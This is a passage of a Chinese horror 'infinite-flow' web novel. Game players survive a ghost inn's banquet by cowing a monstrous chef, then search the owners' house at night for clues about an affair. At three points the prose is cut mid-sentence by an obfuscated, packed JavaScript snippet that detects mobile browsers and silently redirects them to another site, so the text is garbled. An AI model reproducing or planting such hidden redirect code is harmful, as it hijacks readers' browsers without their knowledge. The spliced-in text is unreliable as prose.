陆烬面无表情地看向江随,刚才在石头上挤也就算了,这儿空位这么多,非要凑过来? 而且,江随还比他高。 陆烬自认为不算矮,往常坐地铁,站在末尾总能越过人头看到前车厢。可江随往他身边一坐,哪怕隔着半臂距离,那存在感也跟座小山似的,身上的雪松气息若有似无地飘过来。 陆烬没搭理他,扫了眼长桌想找些吃的。 可惜菜还没上,只有瓜子。 正无聊地掰着瓜子壳,身侧突然传来江随低沉的声音。因为靠得近,他的气息无意识地扫过陆烬的耳廓。 “那小孩有问题?” 陆烬掰瓜子的动作一顿。 他抬眼看着江随。 江随摆摆手:“别这么看着我,我见你盯那小孩很久了,在后山就盯着他,他有问题吧?” 陆烬觉得自己的动作绝不算明显,连一直黏着他的许墨阳都没察觉,偏偏被江随看出来了。 “关你什么事?”陆烬没打算细说。 江随耸耸肩:“总会知道的。” 许墨阳立刻探过头来,眼里闪着好奇的光,总觉得他俩在聊通关的关键线索。 “陆哥,有情况?” 陆烬沉默片刻。这事其实和副本没关系,只是他自己的一点发现。但许墨阳问了,他也没藏着。 “你有没有觉得,黄老板的儿子有点眼熟?” “啊?又是熟人?”许墨阳赶紧扭头看向小男孩。 恰好这时,小男孩也转了过来,正对上许墨阳的目光。他的眼神依旧空洞,锁定许墨阳的瞬间,嘴角忽然扯出一抹极淡的笑,快得像错觉,却透着说不出的寒意。 许墨阳浑身一僵,鸡皮疙瘩掉了一地。 好像……是有点眼熟。 可他怎么也想不起来在哪见过。 “陆哥,他到底是谁啊?” 陆烬没回答。 许墨阳只当他也没想起来,又叽叽喳喳道:“不过这么小就没了,怪可怜的。这家人到底咋回事,一家四口居然没一个活下来……” “他没死。”陆烬突然开口。 “啊?” 许墨阳呆住了,愣愣地看着陆烬,回过神后只觉得背脊发凉,一股寒意顺着脊椎爬上来。 “NPC不都是鬼吗?这小孩如果没死,那眼前这个……是什么?” 陆烬的目光越过许墨阳,落在小男孩身上。 小男孩也正望着他,方才那抹淡笑骤然放大,嘴角夸张地咧到耳根,在那张苍白的小脸上划出一道诡森的弧线。 11. 011 等待几分钟后,厨师们端着菜来到大厅。 除了陆烬,没人期待今晚这顿,毕竟副本里的东西,大概率是不能吃的。 吃了没事是走大运,很多吃了副本食物的玩家,最后都留在副本里。 所以,当厨师们把菜一道道端上桌时,玩家们的脸色肉眼可见的发青。若不是经理放话欢迎会必须参加,这群人怕是宁愿缩在宿舍饿肚子。 菜一道道上来,每一道都透露着诡异。 红烧狮子头,却不知道用的是什么肉,也看不出汤底; 泡椒凤爪,每一只爪子都有人手般大小,普通凤爪有那么大吗? 还有清蒸鱼,色香味俱全,靠近还能闻到葱油的香味,可那些鱼头……越看越像人脸。 还是死人脸。 玩家们也是一副死人脸。 他们梗着脖子,脸色青一阵白一阵,握着筷子的手止不住地抖,指节都泛了白。 谢志眼角的余光瞥见那盘清蒸鱼里,明明已经煮熟的鱼眼睛,竟对着他“眨”了一下! 谢志:“!!!” 冷汗瞬间浸湿了他的后背。 “怎么还不动筷子?” 厨师笑眯眯地盯着玩家们,手里还拎着把明晃晃的菜刀。 “我做的菜,你们不满意?” “满意!满意!”谢志连连点头,手里的筷子像灌了铅,颤抖地夹菜。 方圆凑到蒋恒旁边,小声问,“这些菜一定要吃吗?” 蒋恒僵硬地点头,“大多数时候,NPC和普通人没区别,只要不踩他们的雷区,他们不会主动攻击玩家。” “但要是踩了雷区……”他顿了顿,声音压得很低,“他们的力量会空前暴涨,变得像疯狗一样有攻击性!” 玩家至今没摸透NPC的雷区是什么,每个NPC的禁忌都不一样,大多数甚至不止一个雷区。但玩家们有共识,拒绝NPC,这本身就是雷区。 所以,游戏守则第二条,千万别跟NPC唱反调。 “赶紧吃哦!”厨师眼神阴恻恻的,手里的菜刀在桌角“咚”地磕了一下,“我辛辛苦苦给你们备欢迎会,你们不吃,就是不给我面子!” 玩家们咬着牙,被迫拿起筷子。 桌上的菜里,似乎只有狮子头看着正常点,虽然不知道用的是什么肉,但至少形状还像那么回事。 大多数玩家都朝着狮子头伸了筷子。 蒋恒却迟迟没动。 他的技能是【危险感知】,等级不高,却能模糊感觉到每个选择背后的危险。就说夹狮子头这事儿,在他的感知里,简直危险指数爆表。 可其他菜也没好到哪去,在他眼里都泛着幽幽的红光,不过是五十步和百步。 蒋恒的额头渐渐渗出冷汗。 厨师见他们举着筷子半天不动嘴,脸色沉了下来,叉着腰怒喝,“为什么不吃?你们嫌弃我做的菜?还是看不起我?” 谢志心里把这破副本骂了千百遍,恨不得摔了筷子就跑,可眼角瞥到周围的NPC都看了过来,只能硬生生憋住。 真翻脸,这群NPC怕是能把他们撕成碎片。 顶着厨师越来越冷的目光,谢志和蒋恒万般无奈,只能朝着那盘人脸鱼伸了筷子。 ——毕竟这道菜,蒋恒感知到的危险值稍微低一点。 鱼肉刚进嘴,两人的脸瞬间铁青。 这绝对不是鱼肉! 可到底是什么,他们也说不上来。那肉在唇齿间又柴又干,还没等咽下去,竟像活物似的顺着喉咙滑了下去! 突然,一根尖锐的鱼刺猛地卡在喉咙中间,像把小刀子,瞬间刮伤了喉咙! “呕——” 两人捂着脖子,剧烈呕吐起来。 厨师幽幽地站在旁边,“为什么要吐?不喜欢我做的菜吗?” 谢志和蒋恒的脸因为窒息涨得通红,眼泪都呛了出来,却不敢不回答:“不、不是……是我们吃太急,被鱼刺卡了……您做的……特别好吃!” 听到赞扬,厨师脸上的阴云散了点,满意地笑了笑,又把目光投向了下一个玩家。 “你,为什么不吃呢?” 方圆被他看得一哆嗦,手里的筷子一松,夹着的狮子头掉在了桌上。 那狮子头被撞击后裂开,露出里面的馅,竟是一颗带着血丝的眼球,瞳孔还圆溜溜地盯着人看。 方圆:“!!!” 胃里一阵翻江倒海,怪不得蒋恒一开始就没碰这道菜! 厨师的目光瞬间变得幽深,一步步朝方圆逼近,身上的黑色气息像墨汁一样迅速蔓延,连周围的空气都冷了好几度。 “为什么丢掉食物?” “你不喜欢我做的菜吗?” “你怎么可以浪费食物呢!” 不好!蒋恒心里咯噔一下,怕是踩雷了! 厨师的身体开始扭曲,原本胖墩墩的中年男人,眼睛突然瞪得像铜铃,死死盯着方圆,胳膊上冒出了黑色鳞片,手里的菜刀“嗡”的一声,泛出寒光。 方圆吓得浑身僵硬,连动都不敢动。 眼看厨师就要扑过来,忽地,一个黑色的身影俯身靠近餐桌,用筷子拨了拨那颗裂开的狮子头,语气平淡得像在点评家常菜: “狮子头放什么内馅?你到底会不会做菜?” 他又夹了一筷子人面鱼,眉头皱得老高,“清蒸鱼当然要用鲈鱼,刺少肉嫩,你这做的什么?全是刺,肉干得像树皮,能吃吗?” “还有这泡椒凤爪,”他瞥了眼那盘惨白的爪子,“这是凤爪?长这么大,激素怕是打多了吧?吃了不怕内分泌紊乱吗?” “你们民宿到底有没有餐饮许可证?这些菜是怎么做出来的?” 劈头盖脸一顿数落,把厨师都骂懵了,举着菜刀的手都停在了半空。 玩家们目瞪口呆地看着陆烬。 你在干什么? 不是说不能跟NPC唱反调吗?你居然还敢挑刺他不会做菜?这哪是在雷区蹦跶,简直是在雷区跳华尔兹啊! 方圆,只是手抖弄丢了菜。 而你,我的朋友,你简直是把NPC的天灵盖都掀了啊! 谢志已经在胸口画了个十字架,祈祷陆烬这一波作死不要连累到自己。 至于厨师—— 他懵了两秒,反应过来后,脸“腾”地涨成了猪肝色。 这玩家居然敢说他不会做菜? 他算哪块小饼干! 厨师这辈子没这么生气过,第一次有人敢质疑他的厨艺,这是对他人格的侮辱,对他尊严的践踏! 他攥紧菜刀,怒视着陆烬,刚要发作—— 然后,熄火了。 认出眼前的青年就是行政套房那位无常大人后,厨师的喉结滚了滚,像是被抽走了所有力气,额头上冒出冷汗。 这下轮到他汗流浃背了。 厨师抹了把冷汗,声音都变了调,“您、您说的对!那您看,我该怎么改正好?” 陆烬头也没抬,“按我说的,重做一份。” “要是还不会,下个做饭APP,或者上网搜食谱,照着做总会吧?这都学不会,你也别当厨师了。” 厨师连忙端起桌上的菜,“是是是,我这就回去重做!”他转身就往后厨跑,速度快得像一阵风,连菜刀都忘了拿。 玩家们看着厨师消失的背影,下巴都快掉地上了。 方圆:“他……他就这么走了?” 许墨阳:“原来NPC是可以好好商量的吗?” “为什么不可以?”陆烬疑惑地看着他们,“NPC只是鬼,又不是弱智。” 方圆&许墨阳:“……” “陆哥,你这么说,搞得我好像弱智。”许墨阳讪讪地摸了摸鼻尖。 陆烬瞥了他一眼,“把‘好像’去掉。” 许墨阳:嘤! 听陆烬解释完,方圆和许墨阳倒也接受了,或许NPC真的能商量。 只有谢志和蒋恒,脑子像被塞了团棉花,半天转不过来。 不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998978|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,NPC怎么能商量啊!他们都下过四五次副本了,从没见过这种情况! 两人你看我我看你,只觉陆烬解决问题这样轻松,倒让他们两个被迫吃鱼肉的老玩家显得很呆。 像两个傻逼。 蒋恒忍不住多看了陆烬几眼,“你说这个姓陆的,会不会其实是大佬?” 不然他没法解释眼前的事:去行政套房没事,在后山没事,现在更是直接怼得厨师回去重新做菜。 这是正常的通关方式吗? “可他明明是倒一玩家啊!”谢志梗着脖子反驳,“倒一玩家能有多强?他们的死亡率是大佬用技能算出来的,这怎么可能有错?” 论坛有个玩家,脑子堪比计算机,能算出绝大多数数据。她算出倒一玩家的死亡率是100%,说明至今没有倒一玩家活着走出副本。 这个结论,至今没被推翻。 “在这种情况下,”谢志语气都僵了,“你跟我说,陆烬可能是大佬?” 这合理吗? 他更愿意相信是NPC太弱。 蒋恒也觉得说不通,但又觉得光“NPC太弱”,解释不了一切。 没过多久,厨师真的重新做了菜,端上来时,盘子都擦得锃亮。 这回的菜看着就正常多了,清蒸鲈鱼泛着奶白,泡椒凤爪还浇了柠檬汁,狮子头都透着股肉香,色香味俱全,看得人直咽口水。 连一直胆战心惊的许墨阳和方圆,都忍不住多看了几眼。 陆烬是真饿了,拿起筷子就大口吃了起来。 厨师站在旁边,见终于应付了祖宗,偷偷松了口气,擦了擦额头的汗。 可他没走,转身又端出了刚才那些黑暗料理。 对付这位大佬不能用黑暗料理,那别人呢?又不是每个玩家都能把NPC吓得屁滚尿流! 祖宗那边绕着走,别的玩家那儿总能让他找回场子! 他不敢碰方圆和许墨阳,这两人离陆烬太近,万一祖宗不高兴,他可吃不了兜着走。 不过,长桌那头不是还坐着一个? 厨师瞬间觉得底气又回来了,脸上又挂上了那副阴恻恻的笑。 他端着黑暗料理,一步步走到江随面前,把盘子“咚”地放在桌上,瞬间靠近了他。 “你为什么不动筷子?” “我做的菜,你不满意吗?” 江随刚掰完最后一颗瓜子,慢悠悠地放进嘴里。很奇怪,那瓜子壳明明挺硬,他竟能徒手掰开,壳碎得整整齐齐。 他抬起头,“嗯,这些菜不合我口味,麻烦重做一份。” 厨师“桀桀桀”地笑着,手里的菜刀又拎了起来。 刚刚那位是无常大佬,当然可以命令他。 你算啥啊! 居然也想指挥他! 可厨师笑着笑着,笑容却僵住了,因为他突然感觉到,浑身像被针扎一样疼。无数根细得看不见的针,正缓缓刺进他的皮肤。 他都不知道这些针是哪里来的。 但对死亡的敏锐让他强烈感觉到,这些针都来自眼前的男人,如果等这些针贯穿他的身体,他必死无疑! 江随依然闲散地看着他,他手指轻轻一动,针扎得更深了。 “所以,可以给我重做一份了吗?” … 厨师几乎是连滚带爬地离开。 妈蛋!不是说这批玩家大多是新人吗?来一个无常大佬就算了,这又是什么怪物啊! 厨师甚至有种误入A级副本的错觉。 溜了溜了,吃不到魂魄不要紧,小命更重要啊! 谢志和蒋恒目睹了江随和厨师对峙的全过程,看到厨师又一次乖乖转身重做菜,谢志晃了晃脑袋,斩钉截铁地说:“你看,我说的没错吧!” 哪怕陆烬真是隐藏大佬,可一群新人里,同时出现两个顶尖大佬的概率,该有多低? 根本不可能嘛! “所以,不是他们太强!” “只是他们碰上的NPC都太弱罢了!” 12. 012 欢迎会还在继续。 经理忙着在老板娘跟前献殷勤,时不时又凑到老员工堆里举杯,巩固一下自己领班的地位。 他没顾上玩家这边,却也并不担心。 欢迎会是副本里的常规环节,死亡率高得惊人。厨师最恨有人对他的料理指手画脚,而偏偏他做的那些黑暗料理,别说玩家,NPC都不吃。 所以,经理几乎能预见那群玩家的下场。 在长桌旁转了一圈,和老员工们碰了几杯,经理才姗姗来迟,慢悠悠晃地到玩家这桌。 他早吩咐小助理多拿几副餐具,宴会开始时端上来的不过是前菜,这群玩家才是正餐。 有什么比人类灵魂更鲜美呢? 没!有!了! 经理望向玩家们,喉咙不自觉地动了动,肚子里早已空得发响。 可等他走到玩家桌边,只见玩家这桌好不热闹,桌上的菜比老员工那桌还丰盛:红烧狮子头、清蒸鲈鱼、十三香小龙虾、蒜香排骨、新疆大盘鸡…… 一群玩家把酒言欢,好不痛快。 许墨阳甚至扯着嗓子冲后厨喊:“老崔,再给我来杯82年的可乐!多加点冰块啊!” ——老崔是厨师的绰号,死太久,他早忘了自己的本名,民宿的人都这么叫他。 老崔僵着张脸,挤出一个比哭还难看的笑:“没问题,您要几杯?” 许墨阳:“一杯!” 方圆头也没抬,夹着排骨含糊道:“+1” 陆烬跟着点头:“+1” 老崔的目光在几人脸上扫了一圈,默默记着数,等落到江随身上时,脸上的表情僵住。 江随似乎已经吃饱了,正晃着半杯大麦茶,抬眼看向老崔,“我就不要了,给我倒杯威士忌吧。” 老崔:“……” 还点上菜了?真把他当服务员了? 心里的火气“噌”地蹿上来,偏又不敢发作,厨师只能逼着自己保持微笑。 “好的呢~我这就去给各位拿!” 说完,他几乎是转身就走,头也不回地扎进了后厨。 经理站在旁边,眼睛瞪得老圆,脑袋都不会转了。 啥情况?他平时指使老崔时,那家伙还仗着资历老,一百个不情愿,怎么这群玩家叫他干啥他就干啥? 这合理吗?! * 一顿饭宾主尽欢,做饭的开不开心不知道,但是吃饭的很开心。 宴会散场时,经理强撑着笑送玩家们离开。走到大厅门口,他脸上挂着虚伪的笑,“看来大家今天都挺开心的,希望你们在民宿的第一个晚上,也能这么开心!” 陆烬扬了扬下巴:“承你吉言。” 许墨阳撑得都困了,揉着眼睛看过去,灯光下一人一鬼站在那里,若忽略这是个诡异的无限流副本,竟莫名透着点和谐。 “对了,”经理脸上挂着惨淡的笑,却没忘NPC的职责,“回宿舍就别出来了,民宿晚上不能出门。” 玩家们没应声,依次回了宿舍。 六人都进屋后,蒋恒反手锁上了门。 不出宿舍是不可能的,他们还有任务二,现在距离任务结束只剩两小时了。蒋恒甚至怀疑,NPC搞这场迎新会,就是故意拖时间,好让他们完不成任务。 他看向其他人:“你们对任务二有什么头绪吗?” 方圆举手:“刚才在宴会上,我跟几个NPC聊了聊。他们说老板娘人挺好的,一心照顾孩子,没跟哪个异性走得近。” 许墨阳诧异:“你刚才居然在收集线索?” 方圆茫然地看他:“不该如此吗?”他们参加这场宴会,不就是要收集线索吗? 现场顿时安静了几秒。 尤其是陆烬和许墨阳。 他们真的在吃,而且觉得老崔做的菜还挺好吃的。 蒋恒和谢志也分享了他们的发现,不过他俩没敢离开欢迎会,线索大多也来自NPC。 总的来说,老板娘和其他NPC都不太亲近,多数时候只围着黄老板和孩子转。 最近黄老板心情差,跟老板娘吵了好几回,但老板娘都忍着没闹大。就算吵得凶了,黄婆婆也会来劝架,而且多半是护着老板娘的。 陆烬突然问:“黄婆婆知道DNA鉴定的事?” “这……” 玩家们语塞。通常情况下,和BOSS关系越近的NPC,危险程度越高。所以大家打探消息时,问问普通员工就得了,哪敢对着BOSS他娘贴脸开大? 谢志推测:“肯定不知道吧,要是知道了,还能对老板娘那么好?还能那么疼小孙子?” 线索就这么多,光凭这些琐事,根本推断不出“谁给黄老板戴了‘绿帽子’”。 玩家们最终还是决定溜出去调查。 蒋恒看了眼时间:“任务二是下午六点半开始的,时限六小时,那我们十二点前回宿舍汇合?” 众人一致同意,分成三组,两人一组分头行动。 * 溜出宿舍,外头一片漆黑。 月光透过走廊尽头的落地窗洒进来,给厚厚的地毯镀上一层银白的月华。 许墨阳小心翼翼跟在陆烬身后,运动鞋踩在厚绒地毯上,悄无声息。 陆烬掏出手机,点开一张地图,这是清川民宿的格局图。 “先去黄老板的办公室。”陆烬指着其中一处标记。 清川民宿是由几栋小楼组成的建筑群,有待客楼、宿舍楼、后勤楼,还有黄老板一家住的三层小楼。 而黄老板的办公室在后勤楼。 两人来到后勤楼,大门锁得死死的,陆烬拎着许墨阳的后领,带着他翻进二楼的阳台,两人找到一扇没关紧的窗户,悄无声息地溜了进去。 后勤楼里静得可怕,宿舍楼还能听到其他员工睡熟的呼吸声,但这里一个人也没有。 两人按着地图指引,很快找到了黄老板的办公室。 许墨阳立刻忙活起来,翻箱倒柜找线索。密室逃脱和剧本杀玩的多了,找线索这事儿他门清。 许墨阳专心找他的,陆烬没打扰,走到一边掏出手机,手腕用力一抖,把黄有权从手机里抖出来。 黄有权先前似乎在睡觉,“咕噜”一声滚到地上,脑袋磕在沙发腿上,顿时骂骂咧咧:“谁啊!打扰老子睡觉!” 等看清站在面前的是陆烬,黄有权的骂声戛然而止,脸上瞬间堆起不情愿的笑:“无常大人,大晚上的,您有什么吩咐?” 陆烬挑了挑眉,“DNA鉴定报告都出来了,儿子不是亲生的,你就没点想法?” 黄有权脸上的笑一下僵住了。 许墨阳也凑了过来,好奇地追问:“对啊!之前在车上,你还一直数落老板娘呢!你早知道了吧?就没查过奸夫是谁?” 黄有权眼神闪烁,不自觉地避开了两人的视线。 陆烬了然,看来是查过的。 他蹲下身,直视着摔坐在地上的黄有权,“知道什么,说出来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001271|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黄有权嗤笑一声,梗着脖子硬气道:“我凭什么告诉你?别拿你那破刀吓唬我!老子好歹也是副本BOSS,可不是吓大的!” 陆烬:“你好好说,兴许我可以考虑放了你。” “真的?!”黄有权的眼睛一下亮了。 “不信你问他。”陆烬指了指许墨阳,“他认识我很多年了,知道我言而有信。” “只要你把知道的一五一十说清楚,我保证放你走。” 这条件太诱人,黄有权动摇了。 其实告诉陆烬也没什么,NPC伤害人类是本能,他们是鬼,还有不少是恶鬼,恶鬼天然地喜欢吃人类,所以NPC和玩家天然对立。 可玩家对他们而言不过一顿吃的,吃不了这几个,吃下一批玩家就是了。所以陆烬是否通关,黄有权也不是太关心。 还是自由比较重要! 黄有权咬了咬牙,答应了。 “被绿这事儿,得从半年前说起……” 在那之前,黄有权觉得自己的人生顺风顺水:有漂亮的老婆,可爱的儿子,母亲身体硬朗,民宿生意也蒸蒸日上。 可半年前,小宝意外从二楼摔下来,腹腔大出血,急需输血救命。 也是那次意外,让黄有权知道了小宝的血型有问题,他是AB型血,根本生不出O型血的孩子。 “多可笑啊!”黄有权自嘲地笑了,“我养了三年的儿子,竟然不是我的种!” “我对她们母子掏心掏肺,她要星星要月亮我都想摘下来给她,可她呢?她竟然背叛我,怀了别人的野种!” 哪怕曾经再爱,掺了背叛的感情也终究是破镜难圆,覆水难收。那根名为“不忠”的刺,狠狠扎在黄有权心里,拔不掉,剜不去。 他想不通,他们的感情到底从什么时候开始出了问题?妻子为什么要背叛他?他更想知道,小宝到底是谁的孩子?那个插足他们婚姻的第三者究竟是谁? 顺着老板娘的怀孕时间推算,黄有权终于锁定了四年前的一次同学聚会。那段时间,老板娘回老家参加聚会,还在酒店住了一晚。 从那以后,她就常常抱着手机和同学聊天,笑得比平时多好几倍。 “一定是她的同学!”黄有权斩钉截铁,“就是那次,错不了!” 为了找到奸夫,黄有权偷偷调查,总算搞到同学聚会的名单。那是老板娘高中的百年校庆,来的人不少,将近五十人。 黄有权把名单甩给陆烬,“可以放我走了吧?有这名单,你们自己也能找到人。” 许墨阳追问:“你都有名单了,你没找到人吗?” 黄有权自嘲,“没来得及。” 他还没查到,人就已经死了。至于他死亡的原因,这不是玩家的任务,他也没打算说。 “嗯。”陆烬向来言而有信,“你可以走了。” 黄有权闻言,高兴得差点没跳起来。 本以为被无常抓住,这辈子算是完了。他吃过人类的魂魄,不下地狱都算好的,更不可能去轮回,没想到还有逃出来的一天。 按捺住心中的狂喜,黄有权转身就往门口冲,毫不犹豫奔向自由的怀抱。 然而,他刚跑出办公室,迎面撞上了一个人。 是陆烬。 黄有权:“?” 他气得脸都绿了:“你不是说会放了我!” 陆烬点头,“是啊,我答应会放了你。” 然后他话锋一转,“但我也没说,放了你后不会再抓你啊!” 13. 013 陆烬摊手,“你看,我都放过你了,但你没本事逃出去,又落在我手里,这能怪我吗?” 黄有权:“???” 从未见过如此厚颜无耻之人! 黄有权气得整个鬼都在发抖,指着陆烬的鼻子骂:“你摸摸自己的良心,你说的是人话吗!” * 毫无悬念,黄有权又被陆烬塞回手机。 但他被放出的那几秒里,系统“叮”地响了两声,像是要跳出通知,却不知怎的突然卡住,没了下文。 “这游戏系统也挺奇怪的。” 方圆一直支着耳朵听动静,刚才那声响让他心头一跳,还以为谁又提前完成任务。 果然,撞狗屎的大运只会有一次,任务二得他们自己努力。 方圆和江随一组,从宿舍楼翻出来后,径直摸向黄老板住的小三层。 其实这里是最危险的,老板娘、黄婆婆、小男孩都在这栋楼里。 可方圆思来想去,线索八成藏在这儿。绿帽子扣在黄老板头上,关键人物却是老板娘,不查她查谁? 江随瞥他一眼,“你胆子倒挺大。”他原以为方圆会和许墨阳一样,见了NPC就腿软。 方圆挠了挠头,“害怕也没用,完不成任务咱们都得死。”临死关头,胆子还是大点吧。 小三层的大门紧锁,两人从卫生间那扇透气小窗钻进去。进入后,四周静悄悄的,主人们都睡着了,整栋楼静得能听见自己的心跳。 一楼是客厅和厨房,南面是黄婆婆的房间,老人家年纪大了,腿脚不方便,住在一楼。 路过房间门口,隐约可以听见老人睡梦中的鼾声。 江随和方圆悄无声息地上了二楼。二楼是生活区,主卧、儿童房都在这儿,西面还敞着间客房。 主人房的门都关得严实,倒是客房门虚掩着,两人推门进去转了圈。 说是客房,这里却处处透着生活的痕迹。方圆翻了翻书桌上的笔记,落款赫然是“黄有权”。 “黄老板估计都住在这里。” 可能是知道妻子不忠,黄有权选择和她分房,独自睡在客房。 可两人在客房翻了半天,也没找到有用的线索。 方圆急得抓头发:“随哥,我觉得线索还得在老板娘房间,可她肯定在里面……” 一想到老板娘那颗错位的脑袋和狰狞的脸,方圆就后脖颈发麻。 “也不是没有办法把她引出来。”江随语气淡然,手指在桌面轻轻敲了敲,“我去引开人,你动作快点。” 方圆张了张嘴。 啊?怎么引开啊? 大晚上的,不会惊动老板娘吗? 下一秒,就见江随站起身,径直走向小男孩的儿童房。 方圆:“!!!” 他想拉住江随让他别打草惊蛇,可还没碰到对方的衣角,江随已经推开儿童房的门。 小宝在床上睡得正沉。三岁大的孩子,睡眠总是特别多。江随还记得欢迎会上陆烬和许墨阳的对话,忍不住多看了几眼小男孩。 眼熟吗? 不过,陆烬和许墨阳是同学,他们觉得眼熟认识的人,江随未必认识。 只是人多有好奇,所以江随才忍不住多看了两眼。 这一看,他瞳孔骤缩。 ……不会吧? * 方圆躲在客房门后,腿肚子都在打颤。 所以说,作死是会传染的,陆烬做得一手好死,天天在经理的雷区跳华尔兹,敢情随哥也一样呢。 方圆不禁头大,进入儿童房到底怎么引开老板娘啊,这不是把自己往小男孩的火坑推吗? 儿童房突然发出剧烈的声响,回荡在整个二楼,门框铮铮地发出轰鸣,也不知道里面的斗争有多惨烈。 没过几秒,老板娘果然从房间里出来,头发乱糟糟的,脑袋和身体也发生错位,发疯一样冲去儿童房! 调虎离山。 这套路虽然老……但有用。 看老板娘消失在走廊尽头,方圆恍然,立刻猫腰溜进主卧。 他的时间不多,每一分每一秒都是江随用生命帮他争取来的,江随现在要独自对抗两个NPC,真不知道能不能扛得住。 可惜再着急,也不能帮助方圆,他把老板娘的房间翻了个底朝天,也没找到什么有用的线索。 难道他推断错了? 可这也不是特别复杂的副本,说白了更像家庭伦理的纠纷,所以很多的线索……不应该藏得太深。 方圆有些茫然地倚靠着衣橱。 心灰意冷之际,身后衣橱突然“咔哒”一声,门下沿露出个铁盒子的角,虚掩着被衣服遮着。 方圆猛地拉开衣柜,铁盒子藏在最深处,用一个小锁头锁着,只是很便宜的锁头,轻轻一扯就能掰开。 里面的东西也不是什么隐秘,只是一沓明信片,明信片上有图,应该是旅游景点。 明信片背后有文字,没有寄信人信息,只有收信人的地址,以及一些随笔的祝福。 “寄自琉森湖畔 湖水蓝得发透,云影落进去,像棉花糖浸在水里。 愿顺遂。2004.6.4” “寄自蜀南山间竹林 晨露坠在竹叶尖,风过处,沙沙声漫过整片林子。 天凉了,记得添衣。2005.3.9” “寄自圣托里尼岛灯塔下 潮水漫过礁石,留下些细碎的贝壳,被晒得暖烘烘的。 近日安好?2005.8.21” …… 寥寥几笔文字,比起说是第三者的证据,其实更像是朋友之间的寒暄和祝福,说明不了什么。 可因为有过相同的心思,所以方圆更明白,有些无法表达的感情,就藏在字里行间。 况且,始终如一地在旅行时都给对方寄明信片,已经能说明问题。 方圆赶紧把明信片收好。 一只手突然搭在方圆肩膀上,似在催促他。 “随哥,这明信片是线索,等我收好,很快的!”方圆头也不回地加快动作,麻溜地收拾着明信片。 可刚触到最后一张,方圆猛地反应过来,江随明明在帮他调虎离山,怎么可能来到这个房间?如果他也来了这房间,那老板娘和小男孩呢? 找到线索的欣喜瞬间被兜头的凉水浇灭,一股寒意从脚底板窜上天灵盖,方圆如坠冰窟,浑身血液都被冻住了。 他屏住呼吸,僵硬地回头。 那只搭在他肩上的手又小又白,胖嘟嘟又肉乎乎的,带着肉窝。但江随的手骨节分明,指腹带着薄茧,每根手指都透着利落的骨相。 这果然不是江随的手。 而且除了手,身后什么也没有。没有身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005851|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、没有脑袋、更没有其他器官,就一只手,孤零零地搭在方圆肩膀上。 在方圆身后,是更多断手,密密麻麻爬满主卧,全都朝着他的方向伸过来,指节扭曲得像蛇。 方圆咽了口唾沫。 尖叫和断手的动作同时发生。 他手脚并用地想爬出房间,可那些手像潮水般涌来,如蝗虫过境,瞬间扑向他! 千钧一发之际,方圆突然想起江随塞给他的鹌鹑蛋,不管三七二十一,方圆对着空气大喊—— “巴拉巴拉小魔仙变身!” 这道具的开启词太羞耻了,可死到临头,谁还管羞不羞耻? 开启词念完,什么也没发生,断手已经扑到方圆身上,不要命地掐着他…… 方圆都绝望了,没想到已经找到线索,最后却栽在这里。 他绝望地闭上眼睛。 但想象中的死亡没有出现,耳畔突然传来“噗噗噗”的声音,方圆茫然地睁开眼,却见空气中,一颗小小的鹌鹑蛋,以一种诡异的姿势,把一根根断手都踹到角落! 没错,那只是一颗蛋,但方圆感觉,它把断手赶到角落的姿势是踹,而且相当干脆利落,甚至有点帅。 断手被挤在角落张牙舞爪,还想散开攻击人。可鹌鹑蛋更凶,来一个踹一个。 方圆欣喜若狂,这道具真的有用! 断手在冲,蛋兄在踹,总的来说,蛋兄略占上风,但也只是如此。两者之间维持着微妙的平衡,断手随时要冲出防线。 方圆狼狈地站起来。江随的道具在他这里,断手也跑到这里,那江随那边恐怕出事了,他得赶紧找到他才行! 方圆踉踉跄跄地跑出房间,他有点扭到脚,也不是太严重,只是跑步的姿态诡异了点。 他一瘸一拐地来到儿童房,刚想喊人,却发现儿童房一片寂静。 没有小男孩,没有老板娘,更没有江随,只有墙上溅满的血污,浓郁的腥气扑面而来,那些血……都是新鲜的。 恐惧又一次遏制住方圆,他心里没由来的难过,刚刚找线索的速度还是太慢了。 蛋兄却突然用自己圆滚滚的身子戳了戳方圆。 ——离开老板娘的房间后,鹌鹑蛋顺手(虽然它没有手)关掉房间的门,把断手都锁在里面。 蛋兄戳了戳方圆,做了个引路的姿势,然后朝一楼飘去。 方圆不知道什么意思,忍着脚踝的剧痛,本能地跟上它。 一路上他还是愧疚的,鹌鹑蛋这个道具明显很有用,江随却把道具留给自己,那他怎么办呢? 要不是他作死,江随也不会出事…… 走到一楼,鹌鹑蛋没往出口去,反倒溜进了厨房。 